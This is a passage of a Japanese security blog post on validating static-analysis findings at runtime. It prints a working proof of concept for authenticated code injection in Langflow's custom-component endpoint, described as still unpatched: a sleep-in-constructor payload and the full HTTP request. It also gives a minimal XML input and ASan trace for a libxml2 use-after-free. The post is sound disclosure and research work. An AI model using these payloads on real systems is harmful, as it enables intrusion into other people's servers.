&lt;li&gt;デプロイされたインスタンスでエンドポイントは実際にこれを受け付けるのか、それともルートガードやリバースプロキシが先に拒否するのか。&lt;/li&gt;
&lt;li&gt;認証によって保護されているのか。検出結果は「はい、JWTが必要」としており、これがインターネットに公開されたクリティカルなバグか、ログイン後の権限の問題かの違いになる。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__init__&lt;/code&gt;は本当に実行されるのか、それともLangflowはクラスをインスタンス化せずに読み取っており、解析ツールがインポートを誤解したのか。&lt;/li&gt;
&lt;li&gt;実行されたコードは実際に何ができるのか。スリープ、プロセスの生成、環境の読み取りは可能か。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;レビュー担当者は、この4つについて永遠に議論できます。実行中のインスタンスなら、およそ1分で決着がつきます。&lt;/p&gt;
&lt;p&gt;この経路は、&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-3248"&gt;CVE-2025-3248&lt;/a&gt;の認証済み版にあたる兄弟です。そちらは1.3.0より前のすべてのバージョンに影響する&lt;code&gt;/api/v1/validate/code&lt;/code&gt;における認証不要のコードインジェクションで、送信されたコードに対する&lt;code&gt;exec()&lt;/code&gt;がデコレーターとデフォルト引数を即座に実行します。設計上の判断は同じで、入口が違うだけです。こちらは&lt;code&gt;/api/v1/custom_component&lt;/code&gt;です。バージョン1.3.0で認証不要の入口は塞がれましたが、認証済みの入口はv1.7.3でも開いたままでした。当社は2026年3月9日に、GitHub Security Advisory（GHSA-8xrc-2jr4-78j7、報告時点では非公開）を通じてLangflowのメンテナーに報告しました。メンテナーはトリアージを行い受理しましたが、本記事の執筆時点ではパッチ適用済みのリリースもCVEもまだなく、当社のフォローアップの問い合わせにも回答がありません。&lt;/p&gt;
&lt;p&gt;共有のLangflowインスタンスを運用している場合は、パッチがリリースされるまで&lt;code&gt;/api/v1/custom_component&lt;/code&gt;と&lt;code&gt;/api/v1/validate/code&lt;/code&gt;を管理者専用のエンドポイントとして扱い、テナントアカウントに公開しないでください。&lt;/p&gt;
&lt;p&gt;すべてのテストは当社のラボインスタンスで実施しました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="事例1:実行中のインスタンスが語ったこと"&gt;事例1：実行中のインスタンスが語ったこと&lt;/h2&gt;
&lt;p&gt;エージェントはログインしてJWTを取得し、ラボホスト上の&lt;code&gt;/api/v1/custom_component&lt;/code&gt;にコンポーネントを送信しました。&lt;/p&gt;
&lt;p&gt;最初のペイロードはエクスプロイトではありません。ネガティブコントロール（陰性対照）です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;langflow.custom&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Component&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;langflow.io&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Recon&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;display_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Recon"&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;outputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;display_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"o"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"o"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;エージェントはこのコンポーネントをHTTP POSTで送信します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/api/v1/custom_component&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;langflow.example.com:7860&lt;/span&gt;
&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"from langflow.custom import Component\nfrom langflow.io import Output\n\nclass Recon(Component):\n    display_name = \"Recon\"\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n    outputs = [Output(display_name=\"o\", name=\"o\", method=\"b\")]\n    def b(self):\n        return \"\"\n"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは&lt;strong&gt;0.43秒&lt;/strong&gt;で&lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt;と&lt;code&gt;{"message": "Component validated successfully"}&lt;/code&gt;を返します。これでベースラインが得られ、そこから外れるものには意味があることになります。&lt;/p&gt;
&lt;p&gt;テストはコンストラクター内のスリープです。外向きのネットワーク通信は不要で、ディスクには何も書き込まず、エラー経路と混同されることもありません。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;langflow.custom&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Component&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;langflow.io&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;TimingOracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;display_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"TimingOracle"&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Injected delay oracle&lt;/span&gt;

    &lt;span class="n"&gt;outputs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;display_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"o"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"o"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;スリープ時間ごとに測定したレスポンス時間は次のとおりです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;ペイロード&lt;/th&gt;
&lt;th style="text-align: left;"&gt;想定される遅延&lt;/th&gt;
&lt;th style="text-align: left;"&gt;測定されたレスポンス&lt;/th&gt;
&lt;th style="text-align: left;"&gt;倍率&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ベースライン、スリープなし&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0 s&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;0.43 s&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;該当なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&lt;code&gt;time.sleep(3)&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;3 s&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;12.53 s&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;~4&amp;times;&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&lt;code&gt;time.sleep(5)&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;5 s&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;20.45 s&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;~4&amp;times;&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&lt;code&gt;time.sleep(10)&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;10 s&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;40.50 s&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;~4&amp;times;&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabレポート上のLangflowの時間ベースの検証とタイミング分析の結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_sast_agent_runtime_validation/langflow_timing_verification.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;この表からは3つのことがわかります。そのうち静的な検出結果に含まれていたのは1つだけです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. コードは実行される。&lt;/strong&gt;クラスのASTを読み取るだけのサーバーであれば、コンストラクターに何が書かれていても0.43秒で応答するはずです。遅延はペイロードに追従しているため、コンストラクターは実行されています。これで検出結果が確定しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 4回実行される。&lt;/strong&gt;倍率は3種類の異なるスリープ時間にわたって一定であり、偶然やネットワークのジッターの可能性は排除されます。Langflowは1回の検証リクエストの間にコンポーネントを4回インスタンス化しています。タイミングテストが実証するのは回数であり、各実行がどこで行われるかではありません。検証コードを読むと、最も可能性の高い4つのステップは次のとおりです。
- 1回目：フィールド属性を読み取るための最初の動的読み込み時
- 2回目：入力スキーマのリフレクション時
- 3回目：出力パラメーターの抽出時
- 4回目：テンプレートのシリアライズ時&lt;/p&gt;
&lt;p&gt;ソースを読んだ人なら「検証中にインスタンス化される」と言ったでしょう。それは正しいものの、役には立ちません。リクエストあたり4回の実行は戦力倍増要因です。1回のHTTPリクエストで4回の実行が得られるため、コンストラクター内の重い処理は4倍になり、あらゆる副作用が4回発生します。これは、ペイロードが繰り返し実行しても安全なものでない場合に重要になります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 関係は線形である。&lt;/strong&gt;3 &amp;rarr; 12.53s、5 &amp;rarr; 20.45s、10 &amp;rarr; 40.50s。各測定値は、スリープ時間の4倍に約0.5秒（0.45sから0.53s）を足したもので、0.43sのベースラインに近い値です。変化したのがスリープが4回実行されることだけであれば、まさにこうなるはずです。&lt;/p&gt;
&lt;p&gt;その後、テストは実行の確認にとどまらず、影響を立証するためにタイミングテストの先へと進みました。コマンド実行や環境変数読み取りのペイロードもHTTP 200を返しました。これらのレスポンスからは、&lt;code&gt;/tmp&lt;/code&gt;配下にマーカーファイルが書き込まれ、機密性の高い変数が読み取られたことが示唆されます。ただし、この部分はレスポンスコードのみから推測したものであり、別のアウトオブバンドのチャネルで確認したわけではありません。当社はこの但し書きを検出結果そのものに残しています。この段階で問題は、コードが実行されるかどうかではなく、このプラットフォームのテナントがサーバープロセスの内部から何に到達できるかに変わります。サンドボックスがない以上、それはサービスアカウントが持つすべてです。タイミングテストは、ネガティブコントロールの実行と線形のレスポンスを備えている唯一のものであるため、チェーンの中で最も強力な単一のエビデンスであり続けます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="事例2:実行時テストがlibxml2の検出結果をどう修正したか"&gt;事例2：実行時テストがlibxml2の検出結果をどう修正したか&lt;/h2&gt;
&lt;p&gt;Langflowの事例は、実行時テストが検出結果を確定させ、そこに事実を一つ付け加える様子を示しています。2つ目の事例は、居心地は悪いもののより有益です。ここでは実行時テストが当社自身のレポートと矛盾したからです。&lt;/p&gt;
&lt;p&gt;検出結果は、&lt;code&gt;libxml2&lt;/code&gt;のID検証におけるヒープの解放後使用でした。2つの属性が同じ&lt;code&gt;xmlID&lt;/code&gt;オブジェクトを指すことになり、それを一度解放すると、2つ目の属性が解放済みのメモリを保持したままになります。根本原因の分析は行番号に至るまで正確でした。&lt;/p&gt;
&lt;p&gt;このバグは、CVE-2022-23308に対する2022年2月の修正にまでさかのぼります。IDテーブルの処理を作り直したこの修正によって、このエイリアシングの経路が到達可能なまま残されたため、スキャンでフラグが立てられるまで約4年間ライブラリ内に潜んでいたことになります。検出結果には、バグを発火させるのに必要とされる6つの条件のリストが添えられていました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="libxml2の解放後使用のスキャン概要：カバレッジのヒートマップ、トークン使用量、高リスクの検出結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_sast_agent_runtime_validation/libxml2_scan_overview.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;レポートはバグを特定の関数と行番号にまで突き止めています。エイリアスは&lt;code&gt;xmlAddIDSafe&lt;/code&gt;で始まり、そこで2つの属性が1つの&lt;code&gt;xmlID&lt;/code&gt;オブジェクトを共有することになります。ドキュメントの破棄時に、&lt;code&gt;xmlFreeIDTable&lt;/code&gt;がIDテーブルを走査し、その共有オブジェクトを&lt;code&gt;xmlFreeID&lt;/code&gt;を通じて解放します。エイリアスされたエントリーはまだそのオブジェクトを指しているため、次にそのエントリーを読み取ると解放済みのメモリにアクセスします。これが、本セクションの最後に示すASanトレースに現れる&lt;code&gt;xmlFreeID&lt;/code&gt;のフレームです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="libxml2の脆弱なコード：xmlAddIDSafeのエイリアシング経路と、共有されたxmlIDオブジェクトを解放するxmlFreeIDTableの破棄処理" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_sast_agent_runtime_validation/libxml2_vulnerable_code.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;当社はライブラリをAddressSanitizer付きで再ビルドし、各条件を順当な方法でテストしました。要素を一つ取り除き、割り当て失敗のすべての位置を総当たりし、クラッシュが残るかどうかを観察するという方法です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;取り除いた条件&lt;/th&gt;
&lt;th style="text-align: left;"&gt;クラッシュはまだ再現するか&lt;/th&gt;
&lt;th style="text-align: left;"&gt;判定&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&lt;code&gt;XML_PARSE_NOENT&lt;/code&gt;（エンティティ置換）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;はい&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;不要&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&lt;code&gt;XML_PARSE_DTDVALID&lt;/code&gt;（DTD検証）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;はい&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;不要&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;要素上の3つ目の、ID以外の属性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;はい&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;不要&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;重複したID値&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;いいえ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;属性を&lt;code&gt;ID&lt;/code&gt;として宣言する&lt;code&gt;ATTLIST&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;いいえ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;何らかの割り当て失敗&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;いいえ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;必要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;6つのうち3つは条件ではありませんでした。それぞれにもっともらしい根拠があり、それぞれが解析ツールの見た一つの実行トレースについては正しい記述でした。しかし、それを取り除くとクラッシュが止まるかどうかを誰もテストしないまま、必須条件に変えられていたのです。&lt;/p&gt;
&lt;p&gt;重要なのは誤りの方向です。3つとも要件を過大に述べていました。そのうち2つはデフォルトではないパーサーフラグ（&lt;code&gt;XML_PARSE_NOENT&lt;/code&gt;と&lt;code&gt;XML_PARSE_DTDVALID&lt;/code&gt;）だったため、記述どおりの検出結果は、影響を受けるには両方のフラグが必要だと読み手に伝えていたことになります。&lt;/p&gt;
&lt;p&gt;実際には、このバグはフラグを一切設定しないデフォルトのオプションで発火します。元の検出結果を読んだチームは、自分たちには当てはまらないと、もっともな理由で、しかし誤って判断していたかもしれません。&lt;/p&gt;
&lt;p&gt;以下は、パース中に割り当て失敗を1回注入した状態で、デフォルト以外のフラグなしにクラッシュを引き起こす、143バイトの最小の入力です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE root [&lt;/span&gt;
&lt;span class="cp"&gt;  &amp;lt;!ELEMENT root (elem)*&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;!ATTLIST elem id1 ID #REQUIRED id2 ID #REQUIRED&amp;gt;&lt;/span&gt;
]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;root&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;elem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id1=&lt;/span&gt;&lt;span class="s"&gt;"dup"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id2=&lt;/span&gt;&lt;span class="s"&gt;"dup"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/root&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;表に残った自明でない要件は、重複したIDと&lt;code&gt;ID&lt;/code&gt;のATTLIST宣言に加えて、割り当て失敗です。クラッシュには、パース中のどこかで&lt;code&gt;malloc&lt;/code&gt;が失敗する必要があり、テストハーネス（ファズハーネス）内のフォールトインジェクターが割り当て失敗の総当たりの中でこれを強制します。これはパーサーフラグではなくメモリの条件であるため、再現は依然としてデフォルトのオプションで実行されます。また、このためにバグは本番環境で偶発的に発火しにくくなっています。パース中に割り当てが失敗する必要があり、実際のワークロードがこの条件を満たすのはメモリ逼迫時に限られ、ハーネスはフォールトインジェクションによってこれに到達するからです。このテストの要点は、クラッシュが容易だということではありません。バグがそもそもどの構成に到達し得るかについて、レポートが誤っていたということです。&lt;/p&gt;
&lt;p&gt;そして以下が、デフォルトのパーサーフラグで割り当て失敗を注入して得られたAddressSanitizerのクラッシュトレースです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;=================================================================
==18492==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000420 at pc 0x7f81ab281a4b bp 0x7ffd19b3a1a0 sp 0x7ffd19b3a198
READ of size 8 at 0x608000000420 thread T0
    #0 0x7f81ab281a4a in xmlFreeID /libxml2/valid.c:2892:12
    #1 0x7f81ab280ef1 in xmlFreeIDTable /libxml2/valid.c:2914:5
    #2 0x7f81ab251208 in xmlFreeDoc /libxml2/tree.c:1240:5
    #3 0x55dc1820491a in main /libxml2/xmllint.c:3812:9

0x608000000420 is located 32 bytes inside of 48-byte region [0x608000000400,0x608000000430)
freed by thread T0 here:
    #0 0x7f81ab708f30 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xaaf30)
    #1 0x7f81ab281a4a in xmlFreeID /libxml2/valid.c:2892:12
    #2 0x7f81ab280ef1 in xmlFreeIDTable /libxml2/valid.c:2914:5
=================================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="libxml2の悪用のエビデンス：静的な確認と、AddressSanitizerによる動的なクラッシュの再現" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_sast_agent_runtime_validation/libxml2_asan_crash.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;これに決着をつけた実験にかかったのは約20分で、143バイトのファイルの6つのバリエーションと総当たりだけでした。難しい部分、つまり7,000行の検証コードの中で、ガードされた破棄経路の奥にある解放後使用を見つけることは、すでに終わっていました。答えを変えたのは、低コストな部分のほうだったのです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="実行中のシステムが知っていて、ソースコードが知り得ないことは何か"&gt;実行中のシステムが知っていて、ソースコードが知り得ないことは何か&lt;/h2&gt;
&lt;p&gt;4つの事実（到達可能性、多重性、必要性、影響範囲）は、システムを実行することでしか確認できません。2つの事例はまったく似ていません。一方はPythonのWebサービス、もう一方はCのパースライブラリです。一方は設計上の判断で、もう一方は4年前のリグレッションです。それでも両者が同じように失敗するのは、どちらの検出結果もソースコードについての主張であり、ソースレベルの主張を確認したり否定したりできるのは実行中のシステムだけだからです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 到達可能性。&lt;/strong&gt;ソース解析は、コード内に経路が存在することを実証します。その経路がデプロイメントで有効であることは実証できません。Langflowのエンドポイントが応答し、ペイロードを受け付け、それを実行すること。これは実際に見る必要がありました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 多重性。&lt;/strong&gt;危険な操作は、リクエストごとに実際に何回発生するのか。静的なレポートには回数を示すものは何もなく、手作業でコードを読んでいても見落としやすいものです。機能上のバグを戦力倍増要因に変えるため、これが重大度を決めることも少なくありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 必要性。&lt;/strong&gt;静的解析は、追跡した経路に沿った条件を報告します。それらは十分条件であるにもかかわらず、必要条件として提示されます。両者を区別できるのは、一つ取り除いて再試行するという除去によるテストだけであり、その違いがそのまま露出の見積もり全体になります。libxml2の事例では、6つのうち3つはまったく必要ありませんでした。&lt;/p&gt;
